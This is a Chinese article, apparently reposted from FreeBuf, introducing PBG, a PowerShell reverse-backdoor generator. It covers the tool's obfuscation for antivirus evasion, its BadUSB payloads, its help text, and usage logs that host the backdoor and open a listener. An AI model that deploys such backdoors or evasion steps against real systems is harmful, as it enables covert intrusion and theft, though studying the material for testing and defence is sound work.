关于PBG

PBG的全称为Powershell Backdoor Generator,是一款功能强大的PowerShell后门生成工具,该工具能够生成PowerShell反向后门,并使用Python来对代码进行混淆处理,而且每一次构建后都会提供新的签名以实现检测绕过。

值得一提的是,该工具可以为类似Flipper Zero和Hak5 USB Rubber Ducky这样的热门黑客设备创建有效的Payload,而且广大研究人员也可以使用该工具来测试目标系统针对高级攻击技术的防御能力。

功能介绍

1、Hak5 USB Rubber Ducky Payload生成;

2、Flipper Zero Payload生成;

3、从远程系统下载文件;

4、从URL播放wav文件;

5、获取目标计算机的公共IP地址;

6、枚举本地用户;

7、查看有价值的文件;

8、收集有关目标系统操作系统的信息;

9、从目标系统检索BIOS信息;

10、检查是否安装了防病毒软件及其当前状态;

11、获取活动TCP客户端;

12、安装Chocolatey,一个流行的Windows软件包管理器(https://chocolatey.org/);

13、检查目标系统上是否安装了常用渗透测试软件;


工具下载

由于该工具是一个Python脚本,因此我们首先需要在本地设备上安装并配置好Python 3环境。接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/Drew-Alleman/powershell-backdoor-generator.git

工具帮助信息

usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]

                 [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]

 

Powershell Backdoor Generator

 

options:

  -h, --help              显示工具帮助信息和退出

  --ip-address IP_ADDRESS, -i IP_ADDRESS

                         后门绑定的IP地址,默认为192.168.X.XX

  --port PORT, -p PORT   后门使用的端口号,默认为4444

  --random, -r            随机化输出的后门文件名

  --out OUT, -o OUT      指定后门文件名

  --verbose, -v           显示Verbose输出

  --delay DELAY      Flipper Zero/Ducky-Script Payload执行的延迟毫秒数,默认为100

  --flipper FLIPPER     Flipper Zero Payload文件名

  --ducky               为HTTP服务器创建一个inject.bin

  --server-port SERVER_PORT

                        HTTP服务器运行端口号,默认为8080

  --payload PAYLOAD     要执行的USB Rubber Ducky/Flipper Zero后门Payload

  --list--payloads         枚举所有可用的Payload

  -k KEYBOARD, --keyboard KEYBOARD

                         Bad Usb/Flipper Zero的键盘布局,默认为us

  -A, --actually-listen

                        仅监听任意后门连接

  -H, --listen-and-host

                        仅监听任意后门连接并托管后门目录

工具使用

标准后门

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose

[*] Encoding backdoor script

[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71

[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

上述命令运行之后,会在当前工作目录中生成一个名为backdoor.ps1的文件。

后门执行

powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted
┌──(drew㉿kali)-[/home/drew/Documents]

└─PS> ./backdoor.ps1

该功能已在Windows 11、Windows 10和Kali Linux上进行过测试。

Bad USB/ USB Rubber Ducky攻击

当使用这些攻击时,我们需要打开一个托管后门的HTTP服务器。一旦检索到后门,HTTP服务器将关闭。

Flipper Zero后门

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor --payload execute

[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1

[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

Usb Rubber Ducky后门

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute

[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1

[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

五次混淆后的输出结果

下面给出的是backdoor.ps1进行了五次构建之后的SHA1哈希:

1e158f02484e5c58d74c1507a1773392ffacfca2

6d18230a419195d0f77519abc0238768956cdd58

558a8cbac40239c9e6660a45cc8fc5d02b5057d7

caf4d0c8424eceb960d5f5c526e83ecd485c4ac9

947b57824917842d79f9cbcac8a795aa7c2f8a49

工具运行截图

许可证协议

本项目的开发与发布遵循Apache-2.0开源许可证协议。

项目地址

PBG:【GitHub传送门

参考资料

https://chocolatey.org/

本文作者:Alpha_h4ck, 转自FreeBuf